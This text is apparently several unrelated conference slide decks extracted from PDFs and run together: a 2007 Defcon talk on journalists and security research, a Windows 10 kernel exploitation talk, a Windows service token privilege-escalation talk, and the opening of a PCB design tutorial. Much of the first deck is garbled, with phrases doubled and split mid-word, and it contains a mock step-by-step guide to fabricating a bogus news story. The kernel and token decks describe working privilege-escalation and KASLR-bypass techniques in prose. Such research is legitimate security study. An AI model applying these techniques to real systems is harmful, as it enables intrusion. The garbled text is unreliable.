involving Hollywoo MediaLine: a monthly column covering security involving Hollywood studios, d studios, retailers and CE manufacturers retailers and CE manufacturers •• CreativeCow: a bimonthly column covering developments within the CreativeCow: a bimonthly column covering developments within the professional film makers community professional film makers community •• ODS!: occasional contributor regarding topics affecting the opti ODS!: occasional contributor regarding topics affecting the optical disc industry cal disc industry •• One One--to to--One: occasional contributor on emerging technologies affecting t One: occasional contributor on emerging technologies affecting the he replication industry replication industry Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Disclaimer Disclaimer The opinions expressed in this talk today are solely those of th The opinions expressed in this talk today are solely those of the e author and in no way reflect an endorsement by any of the author and in no way reflect an endorsement by any of the publications for whom he writes. publications for whom he writes. The opinions expressed today are solely those of the author and The opinions expressed today are solely those of the author and in in no way is meant as public commentary, endorsement or non no way is meant as public commentary, endorsement or non-- endorsement of the products and services of any companies endorsement of the products and services of any companies mentioned today. mentioned today. The opinions expressed by the author on any legal or ethical The opinions expressed by the author on any legal or ethical matters used by way of example during this talk are in no way matters used by way of example during this talk are in no way meant to be considered or construed as legal or ethical advice. meant to be considered or construed as legal or ethical advice. Unfortunately in today Unfortunately in today’’s world these disclaimers are part of the s world these disclaimers are part of the business business… ….... Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Introduction Introduction Let Let’’s start with the ubiquitous terms: s start with the ubiquitous terms: ““Security Security”” and and ““Research Research”” In most widely read, popular publications and websites security In most widely read, popular publications and websites security is meant is meant to describe all things related to a consumer to describe all things related to a consumer’’s secure use of their hardware s secure use of their hardware and software and software Security research in this context generally describes a company Security research in this context generally describes a company’’s s best best efforts efforts to keep their product safe and secure to keep their product safe and secure A security researcher therefore becomes something of a lone, myt A security researcher therefore becomes something of a lone, mythic hic scholar protecting us from the harm of viruses, phishing, pfarmi scholar protecting us from the harm of viruses, phishing, pfarming trojans ng trojans and the like and the like However, even in this context it is unclear what is meant by kee However, even in this context it is unclear what is meant by keeping a ping a product safe and secure product safe and secure •• Safe for who? The user, or protecting the company Safe for who? The user, or protecting the company’’s IP s IP •• The same goes for research: researching what?, and in who The same goes for research: researching what?, and in who’’s best interests s best interests •• If you have any questions about this I suggest reading EULAs bef If you have any questions about this I suggest reading EULAs before you come ore you come to any conclusions to any conclusions Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Simplest security term Simplest security term Security invariably can be broken down into its simplest Security invariably can be broken down into its simplest constituent part: constituent part: •• Identifying, codifying and tracking communications Identifying, codifying and tracking communications In other words, a device that has no connection to the wider wor In other words, a device that has no connection to the wider world ld is of no interest when speaking of security is of no interest when speaking of security In other words, a connected device is mandatory when discussing In other words, a connected device is mandatory when discussing security security All issues surrounding security revolve around this All issues surrounding security revolve around this The only exception to this rule is when discussing personnel The only exception to this rule is when discussing personnel security and access to secured data and systems (but that is security and access to secured data and systems (but that is another topic completely) another topic completely) Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Security Researchers Security Researchers To To security researchers security researchers of all flavors the term of all flavors the term security has much more profound implications security has much more profound implications Security is often pursued in the abstract and theoretical Security is often pursued in the abstract and theoretical (with a view of the day (with a view of the day--to to--day implications) day implications) •• It very often involves semi It very often involves semi--obscure topics such as cryptography obscure topics such as cryptography and cryptanalysis and cryptanalysis •• It almost always involves an intimate familiarity with the It almost always involves an intimate familiarity with the intricacies of machine hardware, pattern predictability among a intricacies of machine hardware, pattern predictability among a host of other things host of other things In short the security researcher often works in theory In short the security researcher often works in theory and advanced analysis and advanced analysis •• But they ultimately have to either answer to their own company But they ultimately have to either answer to their own company or to those who retain them or to those who retain them •• The dark hat researcher usually doesn The dark hat researcher usually doesn’’t have this oversight but t have this oversight but in a journalist in a journalist’’s mind this is not always an advantage s mind this is not always an advantage Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Journalists Journalists There are a vast number of types of journalists that cover the There are a vast number of types of journalists that cover the security area security area The most well known ones are those who cover areas related to The most well known ones are those who cover areas related to firewalls, anti firewalls, anti--virus programs and the like virus programs and the like Others cover security breaches such as the DOD Others cover security breaches such as the DOD’’s loss of laptop s loss of laptop computers, identity theft or credit card phishing scams computers, identity theft or credit card phishing scams Another type covers the Another type covers the ““art art”” of security and sometimes even the of security and sometimes even the ethical implications of covering up security breaches or even in ethical implications of covering up security breaches or even in soliciting security breaches in the name of better soliciting security breaches in the name of better ““open open”” security security By and large, most journalists that cover the security beat are By and large, most journalists that cover the security beat are well well versed, highly competent and minimally compromised by versed, highly competent and minimally compromised by corporate concerns (and most of them are underpaid too) corporate concerns (and most of them are underpaid too) Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Publications & Websites Publications & Websites Typically there is a difference between a Typically there is a difference between a printed publication and a website printed publication and a website •• The most notable difference is in timeliness The most notable difference is in timeliness •• There is near parity nowadays in depth of analysis There is near parity nowadays in depth of analysis Generally much lower overhead when operating Generally much lower overhead when operating a website a website •• This has profound implications when it comes to This has profound implications when it comes to advertisers and advertisers and ““doble doble--checking checking”” content content Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Security research Security research from a journalist from a journalist’’s perspective: s perspective: what it is and why it matters what it is and why it matters Serious journalists typically see the issues Serious journalists typically see the issues surrounding security as matters of law, politics, surrounding security as matters of law, politics, economics economics Many times issues revolve around personal Many times issues revolve around personal freedoms, censorship, constitutional law etc. freedoms, censorship, constitutional law etc. At a deeper level however issues revolve around At a deeper level however issues revolve around privacy, cryptography and freedom of expression privacy, cryptography and freedom of expression At its core a journalists view of security colors the At its core a journalists view of security colors the approach and definitions of the above topics approach and definitions of the above topics Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Differences between security bloggers Differences between security bloggers and print journalists and print journalists Security bloggers are the mainstay of serious research Security bloggers are the mainstay of serious research The timeliness and intensity of near real The timeliness and intensity of near real--time reporting time reporting is essential is essential Print journalist can bring better analytical and cross Print journalist can bring better analytical and cross-- related events to bear related events to bear In some very few cases however print can be In some very few cases however print can be ““compromised compromised”” by the very audience it seeks to reach by the very audience it seeks to reach Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Top Top”” security stories of the past year security stories of the past year and why they got the coverage and why they got the coverage Veterans Administration losses laptops Veterans Administration losses laptops TJMaxx TJMaxx credit card numbers credit card numbers ““hacked hacked”” Sony Sony rootkit rootkit fiasco fiasco HP HP ““spoofing spoofing”” and corporate spying fiasco and corporate spying fiasco Defcon15 August 3-5, 2007 at the Riviera in Las Vegas The 5 biggest f***ups: The 5 biggest f***ups: where we screwed up or missed the point where we screwed up or missed the point completely completely Google, Yahoo, MSN censorship in China Google, Yahoo, MSN censorship in China RIAA methods to obtain data RIAA methods to obtain data Vista phone home issues Vista phone home issues Blu Blu--ray, HD ray, HD--DVD, HDCP issues surrounding privacy DVD, HDCP issues surrounding privacy Metadata, Metadata, metamining metamining, metadata repurposing , metadata repurposing Defcon15 August 3-5, 2007 at the Riviera in Las Vegas The best under The best under--reported or reported or not not--reported stores of the past 24 months reported stores of the past 24 months Wikileaks Wikileaks Apple Apple Electronic voting: the case of Electronic voting: the case of Accupoll Accupoll Web 2.0 vulnerabilities Web 2.0 vulnerabilities Cyberwar Cyberwar Defcon15 August 3-5, 2007 at the Riviera in Las Vegas … …and my two personal favorites and my two personal favorites… ….. U.K. judge in e U.K. judge in e--case asks to have the case asks to have the ““internet internet”” explained to him explained to him U.S. teacher convicted in classroom pop U.S. teacher convicted in classroom pop--up up porn case convicted porn case convicted Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Do security researchers and hackers Do security researchers and hackers need to consider what mainstream need to consider what mainstream publications write about them? publications write about them? Impact on legitimate software and hardware Impact on legitimate software and hardware sales sales –– big bucks at stake big bucks at stake The credibility factor and how that is relayed to The credibility factor and how that is relayed to the general public the general public Your credibility (even if you are in a grey area Your credibility (even if you are in a grey area legally) and why that is important legally) and why that is important Defcon15 August 3-5, 2007 at the Riviera in Las Vegas How do we select what How do we select what’’s relevant s relevant or not for publication or not for publication The role editor The role editor’’s play in allowing us to get the s play in allowing us to get the story story The role advertiser The role advertiser’’s play in allowing us to get s play in allowing us to get the story (or not) the story (or not) Who pressures journalists to censor themselves Who pressures journalists to censor themselves Who threatens journalists and how Who threatens journalists and how… …and why and why Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Government(s) involvement in leaking or Government(s) involvement in leaking or suppressing stories suppressing stories It really isn It really isn’’t just the US government that t just the US government that cares cares… ….... Have you ever tangled with the Russians?.....or Have you ever tangled with the Russians?.....or the the… …..or even the ..or even the… ….... What about What about SOEs SOEs (state owned enterprises) (state owned enterprises) Denying visas, denying access Denying visas, denying access Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Journalists: Journalists: Where we get it right Where we get it right –– and wrong and wrong Funny examples of who is doing a good Funny examples of who is doing a good job job… …and a bad job and a bad job Note: due to the sensitivity of the cases cited Note: due to the sensitivity of the cases cited this portion is oral only this portion is oral only Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Developing a Developing a ““relationship relationship”” with your with your journalist* journalist* Becoming a trusted source Becoming a trusted source •• How to contact How to contact •• How to provide data How to provide data •• What is relevant What is relevant •• Creating/avoiding a paper trail Creating/avoiding a paper trail Things not to do Things not to do •• This is not about you This is not about you •• Stay truthful Stay truthful •• Expose the illegal but stay legal! Expose the illegal but stay legal! Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Common Misperceptions Common Misperceptions Journalists are lazy Journalists are lazy We We’’re just looking for the sensationalist stories re just looking for the sensationalist stories We just are earning a buck and don We just are earning a buck and don’’t really t really care about the area care about the area Our magazines tell us what to do Our magazines tell us what to do Defcon15 August 3-5, 2007 at the Riviera in Las Vegas What government and industry What government and industry want to do to you want to do to you Revised DMCA and its implications for Revised DMCA and its implications for researchers researchers The link between legislation and industry The link between legislation and industry Does the general public even know or care? Does the general public even know or care? Who really benefits, and who is really hurt by Who really benefits, and who is really hurt by the status quo the status quo Defcon15 August 3-5, 2007 at the Riviera in Las Vegas What it means to become What it means to become ““famous famous”” by your by your actions actions… ….and the implications thereof .and the implications thereof ““So Sue Me So Sue Me”” the case of Johansen the case of Johansen Kiddie Kiddie scripters scripters and why they get the coverage and why they get the coverage ““So sue me So sue me…” …” how to silence a journalist how to silence a journalist The hacker mystique: and why it isn The hacker mystique: and why it isn’’t always t always so rosy so rosy Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Just for fun Just for fun…… …….... Class Exercise Class Exercise Let Let’’s play: s play: GLOBAL DISINFORMATION GLOBAL DISINFORMATION A step by step tutorial on creating a bogus story A step by step tutorial on creating a bogus story Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Step One: Step One: Pick a topic from current events Pick a topic from current events International Space Station loses power during Shuttle mission International Space Station loses power during Shuttle mission Computers fail Computers fail Possibility of abandoning station Possibility of abandoning station It is important to select a topic with a broad range of possibil It is important to select a topic with a broad range of possibilities ities such as the international mix of the station, geopolitics betwee such as the international mix of the station, geopolitics between n US & Russia, multiple international suppliers, NASA implications US & Russia, multiple international suppliers, NASA implications It is important to allude to, but not state, other conspiracy th It is important to allude to, but not state, other conspiracy theories eories such as Area 51, One such as Area 51, One--Worlders and the Illuminati and so much Worlders and the Illuminati and so much more!!!!! more!!!!! Also, don Also, don’’t forget the current year t forget the current year’’s enemy du jour s enemy du jour Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Step Two: Step Two: Mix it up with other world events Mix it up with other world events For this story possibilities include: For this story possibilities include: •• Chinese force down US spy plane and hold crew hostage Chinese force down US spy plane and hold crew hostage •• Russian transnational, natural gas pipeline shipments to Europe Russian transnational, natural gas pipeline shipments to Europe are imperiled are imperiled •• German loan crises to Russia looms German loan crises to Russia looms •• Cyberwar between Estonia and Russia Cyberwar between Estonia and Russia •• China prepares for cyber dominance China prepares for cyber dominance •• US Southeast Asian strategy weakens as Iraq war continues US Southeast Asian strategy weakens as Iraq war continues •• As Chinese imports to US and Europe continue to grow, so does As Chinese imports to US and Europe continue to grow, so does Trade Imbalance Trade Imbalance Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Step Three: Step Three: appeal to people appeal to people’’s fears s fears and make it personal and make it personal Transnational gangs of hackers team up to steal Transnational gangs of hackers team up to steal your your identity identity More jobs being exported abroad More jobs being exported abroad… …could could your your’’ss be be next? next? Warrantless wiretaps: what is the government trying to Warrantless wiretaps: what is the government trying to secretly learn about secretly learn about your your life? life? Government Secrecy: what is the government hiding Government Secrecy: what is the government hiding about its plans for about its plans for your your future? future? Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Step Four: Step Four: Make it up as you go along Make it up as you go along Sample story: Sample story: Dateline: Johnson Space Center Dateline: Johnson Space Center Houston, Texas Houston, Texas Headline: Headline: •• Faulty Cabling Not Sole Source of ISS Computer Faulty Cabling Not Sole Source of ISS Computer Failure Failure Tag Line: Tag Line: •• Security Researcher Outlines Links Between Sino Security Researcher Outlines Links Between Sino-- Russian Cyberwars and Hacking Intrusions Into Russian Cyberwars and Hacking Intrusions Into Secure NASA Systems Secure NASA Systems Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Step Five: Step Five: Here is our bogus story Here is our bogus story Space Station Woes May Be Just Beginning Space Station Woes May Be Just Beginning ““We may never know who is really responsible We may never know who is really responsible”” Security Expert Mortimer Snerd: Photo Courtesy: AmNews File Kid Drowns While Mom Surfs for Porn Costa Mesa, CA- A 32 Year old mother is in custody tonight after failing to hear her daughter’s frantic splashes for survival. Cont. page 29 Last month’s computer failures on the International Space Station may not be solely to blame on faulty German cabling according to renowned security expert Mortimer Snerd. The expert contends that the near perfect operation of the cables prior to the deployment of the solar collection units installed by astronauts points to another, perhaps more sinister cause for the station’s repeated computer crashes. “Frankly, the near perfect timing of the computer failures almost certainly points toward outside, undetectable hacking intrusions” stated this expert. He continues that “ a well known state of war has been raging in cybersapce under the watchful eyes of Russian intelligence. It is believed that a number of counter measures being employed in this battle are actually lines of code procured by the Chinese from a shot down US spy plane.” Other international experts concur that …… Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Moral of the Story Moral of the Story Be careful what facts you take at face value Be careful what facts you take at face value Be Careful who you trust Be Careful who you trust Don Don’’t automatically assume interrelated t automatically assume interrelated conspiracies conspiracies Always assume an hidden agenda (even for Always assume an hidden agenda (even for legit stories) legit stories) Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Contact/Tips Contact/Tips pf0t0n [@] pf0t0n [@] hushmail hushmail [dot] com [dot] com Most current version of this presentation can be Most current version of this presentation can be obtained by emailing to the above address obtained by emailing to the above address Defcon15 August 3-5, 2007 at the Riviera in Las Vegas Thank you Thank you
pdf
TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITE- WHAT-WHERE VULNERABILITIES IN CREATORS UPDATE Whoami • Morten Schenk • Security Advisor, Improsec ApS • Twitter - @blomster81 • Blog: https://improsec.com/blog/ • GitHub: https://github.com/MortenSchenk • What to expect from this talk • Windows 10 Kernel Exploitation on Creators Update • Lots of hex, C and memes • 0-days! Agenda • Brief look at Kernel Exploitation history • New Windows 10 Mitigations • Arbitrary Kernel Read/Write Primitive • KASLR information leak • De-randomizing Page Table Entries • Dynamic Function Location • Executable Kernel Memory Allocation Exploitation Concept • Write-What-Where • Vulnerability class • Best case • Write controlled value at controlled address • Common case • Write not controlled value at controlled address • Leverage to obtain kernel-mode code execution Brief Look at Kernel Exploitation History Windows 7 • Kernel information leaks were available with NtQuerySystemInformation Brief Look at Kernel Exploitation History Windows 7 • Executable NonPagedPool was the default • Execute User-mode memory from Kernel-mode • Window Function running in kernel mode • Overwrite HalDispatchTable function table with user-mode address Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Windows 8.1 and Windows 10 before Anniversary Edition. • Kernel information leaks with APIs blocked from Low Integrity. • NonPagedPoolNx is the new standard. • Supervisor Mode Execution Prevention is introduced. • Kernel-mode read / write primitive is needed. • GDI bitmap primitive. • tagWND primitive. Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Information leak of Bitmap through GdiSharedHandleTable • Overwrite size of Bitmap using Write-What-Where • Consecutive Bitmaps can create a primitive • SetBitmapBits • GetBitmapBits Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Information leak of User-mode mapped Desktop Heap through • ulClientDelta from Win32ClientInfo • UserHandleTable from User32!gSharedInfo • Overwrite cbWndExtra using Write-What-Where • Consecutive Windows can create a primitive • SetWindowLongPtr overwrites adjacent tagWND.StrName pointer through ExtraBytes • InternalGetWindowText • NtUserDefSetText. Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Page Table Entry overwrite is common vector Brief Look at Kernel Exploitation History Windows 8.1 and Windows 10 • Windows HAL Heap was in many cases static at 0xFFFFFFFFFD00000 • Offset 0x448 contained a pointer to ntoskrnl.exe • Use kernel-mode read/write primitive to get base address. Windows 10 Version Naming Conventions Public Name Version Microsoft Internal Name OS Build Release To Market 1507 Thredshold 1 10240 November Update 1511 Thredshold 2 10586 Anniversary Update 1607 Redstone 1 14393 Creators Update 1703 Redstone 2 15063 Fall Creators Update 1709? Redstone 3 N/A Windows 10 Anniversary Update Mitigations • Randomizes Page Table Entries • Removes kernel addresses from GdiSharedHandleTable • Breaks bitmap primitive address leak Windows 10 Anniversary Update Mitigations • Limits the tagWND.strName to point inside Desktop heap. • Breaks tagWND primitive Locating Bitmap Object • Bitmap objects are stored in the Large Paged Pool. • Randomized on reboot • Need a kernel information leak to locate • Win32ThreadInfo in the TEB is close to the Large Paged Pool Locating Bitmap Object • Creating a number of large Bitmap objects stabilizes the Pool • Large static offset will point into Bitmaps Locating Bitmap Object • Delete the second large Bitmap object. • Allocate ~10000 new Bitmap objects of 0x1000 bytes each. • Will point to start of Bitmap object. Locating Bitmap Object • Overwrite size of leaked Bitmap • Uses two consecutive Bitmaps • Write-Where-Where simulation tagWND Read/Write outside Desktop Heap • Pointer verification is performed by DesktopVerifyHeapPointer. • tagWND.strName must be within the Desktop Heap tagWND Read/Write outside Desktop Heap • Desktop Heap address and size comes from tagDESKTOP object. • No validation on tagDESKTOP pointer. • Pointer is taken from header of tagWND. • Find tagDESKTOP pointer and replace it. • Control Desktop Heap address and size during verification. tagWND Read/Write outside Desktop Heap • SetWindowLongPtr can overwrite tagDESKTOP pointer. • Verification succeeds everywhere. Write-What-Where simulation Windows 10 Creators Update Mitigations • UserHandleTable from User32!gSharedInfo is gone • UserHandleTable contains Kernel-mode address of tagWND • Windows 10 1607 • Windows 10 1703 Windows 10 Creators Update Mitigations • ulClientDelta from Win32ClientInfo is gone • Windows 10 1607 • Windows 10 1703 Windows 10 Creators Update Mitigations • ExtraBytes modified by SetWindowLongPtr are moved to user-mode. • Cannot overwrite adjacent tagWND.strName. Windows 10 Creators Update Mitigations • tagWND as Kernel-mode read/write primitive is broken again. • Bitmap object header increased by 0x8 bytes. • Change allocation size to retain allocation alignment. • HAL Heap is randomized. • No longer ntoskrnl.exe pointer at 0xFFFFFFFFFD00448. tagWND Primitive Revival • ulClientDelta in Win32ClientInfo has been replaced by user-mode pointer • Inspecting new pointer reveals user-mode mapped Desktop Heap tagWND Primitive Revival • Manually search through Desktop heap to locate tagWND object tagWND Primitive Revival • Size of ExtraBytes is defined by cbWndExtra when Windows Class is registered • RegisterClassEx creates a tagCLS object • tagCLS has ExtraBytes defined by cbClsExtra • SetWindowLongPtr sets ExtraBytes in tagWND • SetClassLongPtr sets ExtraBytes in tagCLS tagWND Primitive Revival • ExtraBytes from tagCLS are still in the kernel • Allocate tagCLS followed by tagWND. • Use SetClassLongPtr to update tagWND.strName • Read/write kernel-mode primitive is back Kernel ASLR Bypass • Almost all kernel memory is randomized. • Shared System Page – KUSER_SHARED_DATA is static • Located at 0xFFFFF78000000000. • Not executable. • Does not contain interesting pointers. • HAL Heap is randomized • SIDT is mitigated • Need new ntoskrnl.exe information leak Kernel ASLR Bypass • KASLR bypass could be primitive related. • Must work for Windows 8.1 and Windows 10 1507 to 1703. • Need a bypass for each primitive. • Must leak ntoskrnl.exe pointer. Bitmap KASLR Bypass 0-Day • Surface structure from REACTOS Bitmap KASLR Bypass 0-Day • PDEVOBJ structure from REACTOS Function Pointer Bitmap KASLR Bypass 0-Day Bitmap hdev field is empty Bitmap KASLR Bypass 0-Day • Other Bitmap variants exist. Bitmap KASLR Bypass 0-Day • Free a Bitmap at offset 0x3000 from first Bitmap • Spray CompatibleBitmaps to reallocate Bitmap KASLR Bypass 0-Day • Read cdd!DrvSyncronizeSurface pointer • Find ntoskrnl.exe pointer tagWND KASLR Bypass 0-Day • tagWND structure from REACTOS tagWND KASLR Bypass 0-Day • Offset 0x2A8 of KTHREAD has ntoskrnl.exe pointer Bonus KASLR Bypass 0-Days • There are even more KASLR bypass possibilities Bonus KASLR Bypass 0-Days • Also kernel pool leak for Bitmap primitive • Only works on Windows 10 1703 Bonus KASLR Bypass 0-Days • ThreadLocalStoragePointer helps leak kernel pool • Works on Windows 10 1607, but removed in 1703 Bonus KASLR Bypass 0-Days • Instead of using a tagWND we can leak ntoskrnl.exe directly from gSharedInfo • Works on Windows 10 1607, but not in 1703 Page Table Entry Overwrite • Page Table Entries had static base address of 0xFFFFF68000000000 • Self-mapping references De-randomizing Page Table Entries • The kernel must lookup PTE’s often • Must have API which works despite randomization • MiGetPteAddress in ntoskrnl.exe • Static disassembly uses old base address • Dynamic disassembly uses randomized base address De-randomizing Page Table Entries • MiGetPteAddress contains the randomized base address • Locate MiGetPteAddress dynamically using read primitive De-randomizing Page Table Entries • Locate hash value of MiGetPteAddress • Leak PTE base address De-randomizing Page Table Entries • Write shellcode to KUSER_SHARED_DATA + 0x800 • Flip the NX bit of the page • Call shellcode by overwriting HalDispatchTable and calling NtQueryIntervalProfile Dynamic Kernel Memory • ExAllocatePoolWithTag allocates kernel pool memory • Allocate NonPagedPoolExecute pool memory • Return pool memory address Dynamic Kernel Memory • Need controlled arguments to call ExAllocatePoolWithTag • NtQueryIntervalProfile takes two arguments • Must have specific values to trigger HaliQuerySystemInformation • Need a different system call Dynamic Kernel Memory • Enter NtGdiDdDDICreateAllocation • Thin trampoline around NtGdiDdDDICreateAllocation Dynamic Kernel Memory • Win32kbase!gDxgkInterface is function table into dxgkrnl.sys • Arguments are not modified from system call to function table call Dynamic Kernel Memory • Inspecting win32kbase!gDxgkInterface shows it to be writable Dynamic Kernel Memory • Need to dynamically locate win32kbase!gDxgkInterface • Can be found in win32kfull!DrvOcclusionStateChangeNotify • Need to leak win32kfull.sys Dynamic Kernel Memory • PsLoadedModuleList is doubly-linked list of _LDR_DATA_TABLE_ENTRY structures. • Search for Win32kful in Unicode at offset 0x60 Dynamic Kernel Memory • Leak PsLoadedModuleList from KeCapturePersistentThreadState • Get Win32kfull.sys base address • Find win32kfull!DrvOcclusionStateChangeNotify • Finally locate win32kbase!gDxgkInterface Dynamic Kernel Memory • Overwrite win32kbase!gDxgkInterface + 0x68 with nt!ExAllocatePoolWithTag • Copy shellcode to allocated page • Execute it by overwriting win32kbase!gDxgkInterface again Summary • Kernel read/write primitives can still be leveraged with Write-What- Where vulnerabilities • Page Table randomization can be bypassed with ntoskrnl.exe information leak • Device Independent Bitmap can be used to leak ntoskrnl.exe • tagWND can be used to leak ntoskrnl.exe • Possible to allocate RWX pool memory with ExAllocatePoolWithTag • Code on GitHub shortly - https://github.com/MortenSchenk Credits • Alex Ionescu - https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu- I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27 t%20one.pdf • Alex Ionescu - http://www.alex-ionescu.com/?p=231 • Diego Juarez - https://www.coresecurity.com/blog/abusing-gdi-for-ring0- exploit-primitives • Yin Liang & Zhou Li - https://www.blackhat.com/docs/eu-16/materials/eu- 16-Liang-Attacking-Windows-By-Windows.pdf • Nicolas Economou - https://www.coresecurity.com/blog/getting-physical- extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap • David Weston & Matt Miller - https://www.blackhat.com/docs/us- 16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
pdf
Token Kidnapping's Revenge Cesar Cerrudo Argeniss Who am I? • Argeniss Founder and CEO • I have been working on security for +8 years • I have found and helped to fix hundreds of vulnerabilities in software such as MS Windows, MS SQL Server, Oracle Database Server, IBM DB2, and many more... • +50 vulnerabilities found on MS products (+20 on Windows operating systems) • I have researched and created novel attacks and exploitation techniques Agenda • Introduction • What is impersonation and what are tokens? • Windows XP and 2003 services security • Windows 7, Vista and 2008 services security • Token Kidnapping's revenge time • Conclusions Introduction • In the past all Windows services ran as Local SYSTEM account – Compromise of a service==full system compromise • Then MS introduced NETWORK SERVICE and LOCAL SERVICE accounts – Compromise of a service!=full system compromise • Windows Vista, Windows 2008 and Windows 7 introduced new protections • First Token Kidnapping issues were fixed, but as we are going to see Windows is still not perfect... What is impersonation and what are tokens? • Impersonation is the ability of a thread to execute using different security information than the process that owns the thread – ACL checks are done against the impersonated users – Impersonation APIs: ImpersonateNamedPipeClient(), ImpersonateLoggedOnUser(), RpcImpersonateClient() – Impersonation can only be done by processes with “Impersonate a client after authentication” (SeImpersonatePrivilege) – When a thread impersonates it has an associated impersonation token What is impersonation and what are tokens? • Access token is a Windows object that describes the security context of a process or thread – It includes the identity and privileges of the user account associated with the process or thread – They can be Primary or Impersonation tokens • Primary are those that are assigned to processes • Impersonation are those that can be get when impersonation occurs – Four impersonation levels: SecurityAnonymous, SecurityIdentity, SecurityImpersonation, SecurityDelegation Windows XP and 2003 services security • Services run under Network Service, Local Service, Local System and user accounts – All services can impersonate • Fixed weaknesses – A process running under X account could access processes running under the same X account • After fixes – RPCSS and a few services that impersonate SYSTEM account are now properly protected – WMI processes are protected now Windows Vista, 2008 and 7 services security • Per service SID (new protection) – Nice feature, now service processes are really protected and its resources can be armoured • Fixed weaknesses in Windows Vista and 2008 – While regular threads were properly protected, threads from thread pools were not – WMI processes running under LOCAL SERVICE and NETWORK SERVICE were not protected • After fixes – Threads from thread pools are properly protected – WMI processes are protected now Token Kidnapping's revenge time • First I found that Tapi service had process handles with duplicate handle permissions • Then I started to examine the Tapi service – Found weak registry permissions • HKLM\SOFTWARE\Microsoft\Tracing • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\T elephony – Found lineAddProvider() API, Network Service and Local Service accounts can load arbitrary dlls • Tapi service runs as System in Windows 2003 – Found that Tracing functionality is used by most services, including services running as System Token Kidnapping's revenge time • Previous findings lead to other interesting findings in Windows 2003 – When WMI is invoked, DCOMLaunch service reads Network and Local Service users registry keys • If values are found then HKCR keys are not used • Allows WMI process protection bypass • Finally I could elevate privileges from Local/Network Service in all Windows versions and bypass protections Token Kidnapping's revenge time • Windows 2003 IIS 6 & SQL Server exploits – Bypass WMI protection • Windows 2008 and Windows 7 IIS 7.5 exploits – Exploit weak registry permissions Recomendations – On IIS don't run ASP .NET in full trust and don't run web sites under Network Service or Local Service accounts – Avoid running services under Network Service or Local Service accounts • Use regular user accounts to run services • Remove Users group from HKLM\Software\Microsoft\Tracing registry key permissions • Disable Telephony service Conclusions • New Windows versions are more secure but there are still some issues easy to find • Finding vulnerabilities is not difficult if you know what tools to use and were to look for • On Windows XP and Windows 2003 – If a user can execute code under Network Service or Local Service account • User can execute code as SYSTEM • On Windows 7, Vista and 2008 – If a user can impersonate • User can execute code as SYSTEM References • Token Kidnapping http://www.argeniss.com/research/TokenKidnapping.pdf • Impersonate a client after authentication http://support.microsoft.com/kb/821546 • Access tokens http://msdn2.microsoft.com/en-us/library/aa374909.aspx • Process Explorer and Process Monitor http://www.sysinternals.com • API Impersonation Functions http://msdn.microsoft.com/en- us/library/cc246062(PROT.10).aspx Fin • Questions? • Thanks • Contact: cesar>at<argeniss>dot<com Argeniss WE BREAK ANYTHING www.argeniss.com
pdf
Hardware Black Magic: Designing Printed Circuit Boards Dr. Fouad (Dr. K) Kiamilev Corey (c0re) Lange Stephen (afterburn) Janansky Who are we? • University of Delaware • Department of Electrical and Computer Engineering • CVORG Who are we? • Dr. Fouad Kiamilev • Professor • Fearless Leader • Procurer of Funding Who are we? • Corey Lange • Grad Student • Geek • Eternally Grateful for Aforementioned Funding Who are we? • Stephen Janansky • Researcher • Hardware Hacker • Embedded Systems Designer • Network Engineer What we are doing here? • Printed Circuit Board (PCB) Design • It’s easy! • It’s fun! • It will let everyone you know how much of a nerd you really are! But what is a PCB? • Layers of dielectric and metal • Usually copper and FR4 • Anywhere from 2 to 20 • A means to layout circuits • Prototype vs. Production What to do with Cu? • Create electrical connections between components • Traces/Tracks • Pours/Planes • Need to use vias to connect layers What’s a via? • Plated hole going through the board that connects the layers together • Yes, all of the layers (be careful!) • Well, not always... • Blind Vias • Buried Vias Components • A circuit without components is like... • A bird without wings • A car without wheels • A grad student without funding Components • A collection of pads or vias that a chip or discrete part will connect to the board • a.k.a. Footprint Datasheets: Who cares? • We do! • Shows lots of valuable information: • Electrical specifications • Usual applications/schematics • Footprint sizes What happens when you don’t listen to the datasheet: Design Rules • If you design it, they still might not be able to fab it. • Machines are only so precise • Smaller == $$$ • Allow for tolerances • Design Rule Check (DRC) is a must!!!! The Finishing Touches •Soldermask •Plating metal •Silkscreen Secrets of the Pros • When in doubt, make the pad/via/ through-hole bigger than you think it should be • Through Hole ROT: +0.010” to diameter • Will allow more room to solder or allow for an better fit • Use 1:1 printouts to make sure components fit properly More Secrets • The Capacitor - An EE’s Duct Tape • Reduces noise! • Stores extra charge! • Slices a transfer function! • And even more!!!! Source: Wikimedia Commons How can we design PCB’s? • Software Packages: • Express PCB • Free • PCB Artist • Free • EAGLE • Free • Oregano • Free, Linux • PCB • Free, Linux • gEDA • Free, Linux • Cadence Allegro • Really not free • High-Speed • Hundreds more • Try Googling it Enough Talk! • Let’s design a PCB! • We are going to use Advanced Circuits’ PCB 